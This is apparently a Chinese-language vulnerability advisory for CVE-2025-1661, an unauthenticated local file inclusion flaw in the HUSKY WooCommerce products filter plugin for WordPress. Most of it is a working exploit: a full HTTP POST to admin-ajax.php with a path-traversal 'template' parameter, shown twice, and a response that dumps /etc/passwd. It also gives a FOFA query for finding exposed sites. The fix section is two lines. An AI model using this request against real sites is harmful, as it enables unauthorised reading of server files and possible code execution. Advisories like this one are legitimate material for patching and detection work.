

wordpress WooCommerce 本地文件包含漏洞（CVE-2025-1661）

漏洞描述

适用于 WordPress 的 HUSKY – WooCommerce 插件的 HUSKY – Products Filter Professional for WooCommerce 插件在 1.3.6.5 之前的所有版本中都容易受到本地文件包含的攻击，通过 woof_text_search AJAX作的“template”参数。这使得未经身份验证的攻击者可以在服务器上包含和执行任意文件，从而允许执行这些文件中的任何 PHP 代码。这可用于绕过访问控制、获取敏感数据，或在可以上传和包含图像和其他“安全”文件类型的情况下实现代码执行。

影响版本

HUSKY – WooCommerce < 1.3.6.6

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA：body="/wp-content/plugins/woocommerce-products-filter/"

POC/EXP：

```
POST /wp-admin/admin-ajax.php?
template=../../../../../../../../etc/passwd&value=a&min_symbols=1 HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image
/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 24

action=woof_text_search&
```

发送请求

强制 HTTPS

历史

爆破示例

系统代理: 127.0.0.1:7890

生成 Yaml

Request

数据包扫描 美化 热加载 构造请求

1 POST /wp-admin/admin-ajax.php?template=../../../../../../../../etc/passwd&value=a&min_symbols=1 HTTP/1.1

2 Host : 127.0.0.1

3 Cache-Control: max-age=0

4 Accept-Language: en-US,en;q=0.9

5 Upgrade-Insecure-Requests: 1

6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36

7 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

8 Accept-Encoding: gzip, deflate, br

9 Connection: keep-alive

10 Content-Type: application/x-www-form-urlencoded

11 Content-Length: 24

12 .

13 action=woof_text_search&

Responses 14327bytes / 8295ms

美化 编码 详情

1 HTTP/1.1 200 OK

2 Connection: Keep-Alive

3 Keep-Alive: timeout=5, max=100

4 content-type: text/html; charset=utf-8

5 x-robots-tag: noindex

6 x-content-type-options: nosniff

7 expires: Wed, 11-Jan-1984 05:00:00 GMT

8 cache-control: no-cache, must-revalidate, max-age=0

9 x-frame-options: SAMEORIGIN

10 referrer-policy: strict-origin-when-cross-origin

11 vary: Accept-Encoding

12 date: Thu, 20-Mar-2025 08:29:18 GMT

13 Content-Length: 13255

14

15 {

16 --"options": [

17 --"root:x:0:0:root:/root:/bin/

bash\nnobody:x:99:99:Nobody:/:/sbin/

nologin\nbin:x:1:1:bin:/bin:/sbin/

nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/

nologin\ndm:x:3:4:adm:/var/adm:/sbin/

nologin\nlp:x:4:7:lp:/var/spool/lpd:/sbin/

nologin\nsync:x:5:0:sync:/sbin:/bin/

sync\nshutdown:x:6:0:shutdown:/sbin:/sbin/

shutdown\nhalt:x:7:0:halt:/sbin:/sbin/

halt\noperator:x:11:0:operator:/root:/sbin/

nologin\ngames:x:12:100:games:/usr/games:/sbin/

nologin\nftp:x:14:50:FTP User:/var/ftp:/sbin/

nologin\ndbus:x:81:81:System Message Bus:/:/sbin/

nologin\nsshd:x:74:74:Privilege-separated SSH:/var/empty/ssh:/sbin/nologin\nnscd:x:28:28:NSCD Daemon:/:/sbin/nologin\nrpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin\nnamed:x:25:25:Named:/var/named:/sbin/nologin\ndovecot:x:97:97:Dovecot/imap

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本